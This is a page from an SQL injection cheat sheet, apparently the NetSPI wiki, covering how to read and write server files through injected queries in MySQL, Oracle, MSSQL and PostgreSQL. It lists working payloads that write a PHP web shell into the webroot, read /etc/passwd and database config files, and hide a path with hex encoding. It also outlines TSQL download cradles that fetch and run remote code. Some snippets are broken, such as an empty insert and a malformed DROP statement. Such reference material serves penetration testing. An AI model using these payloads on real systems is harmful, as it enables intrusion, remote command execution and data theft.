NetSPI SQL Injection Wiki
Reading and Writing Files
Reading and writing to files aids in data gathering as well as data exfiltration. Many methods include writing to the webroot, which enables a web shell to be executed, or allowing data to be exfiltrated over port 80/443.
* Requires privileged user
| Description | Query |
|---|---|
| Dump to file | SELECT * FROM mytable INTO dumpfile '/tmp/somefile' |
| Dump PHP Shell | SELECT 'system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php' |
| Read File | SELECT LOAD_FILE('/etc/passwd') |
| Read File Obfuscated | SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini |
| File Privileges | SELECT file_priv FROM mysql.user WHERE user = 'netspi' SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%' |
Reading and Writing Files
Reading and writing to files aids in data gathering as well as data exfiltration. Many methods include writing to the webroot, which enables a web shell to be executed, or allowing data to be exfiltrated over port 80/443.
UTL_FILE can sometimes be used. Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';
Java can be used to read and write files if it's installed (it is not available in Oracle Express).
Reading and Writing Files
Reading and writing to files aids in data gathering as well as data exfiltration. Many methods include writing to the webroot, which enables a web shell to be executed, or allowing data to be exfiltrated over port 80/443.
* Requires privileged user
| Description | Query |
|---|---|
| Download Cradle bulk in server - TSQL | -- Bulk Insert - Download Cradle Example
-- Setup variables
-- Create temp table
-- Read file into temp table - web server must support propfind
-- Select contents of file
-- Display command
-- Run command
-- Drop the temp table |
| Download Cradle OAP 1 - TSQL | -- OLE Automation Procedure - Download Cradle Example -- Does not require a table, but can't handle larger payloads
-- Note: This also works with unc paths \\ip\file.txt
-- Setup Variables
-- Set target url containting TSQL
-- Setup namespace
-- Call the Open method to setup the HTTP request
-- Call the Send method to send the HTTP GET request
-- Capture the HTTP response content
-- Destroy the object
-- Display command
-- Run command |
| Download Cradle OAP 2 - TSQL | -- OLE Automation Procedure - Download Cradle Example - Option 2 -- Can handle larger payloads, but requires a table
-- Note: This also works with unc paths \\ip\file.txt
-- Setup Variables
-- Set target url containting TSQL
-- Create temp table to store downloaded string
-- Setup namespace
-- Call open method to configure HTTP request
-- Call Send method to send the HTTP request
-- Capture the HTTP response content
-- Destroy the object
-- Display the commad
-- Run the command
-- Remove temp table |
| Reading Files - TSQL | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceTxt.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_BulkInsert.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceXlsx https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetBulk.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetTxt.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetXlsx.sql |
| Writing Files - TSQL | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bulkinsert.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_OpenRowSetTxt.sql |
Reading and Writing Files
Reading and writing to files aids in data gathering as well as data exfiltration. Many methods include writing to the webroot, which enables a web shell to be executed, or allowing data to be exfiltrated over port 80/443.
* Requires privileged user
| Description | Query |
|---|---|
| Read Files from Operating System - COPY |
CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd'; SELECT * FROM mydata; DROP TABLE mytest mytest; |
| Read Files from Operating System - pg_read_file | SELECT pg_read_file('/usr/local/pgsql/data/pg_hba.conf', 0, 200); |
| Writing Files from Operating System |
CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES (''); COPY mytable (mycol) TO '/var/www/test.php'; |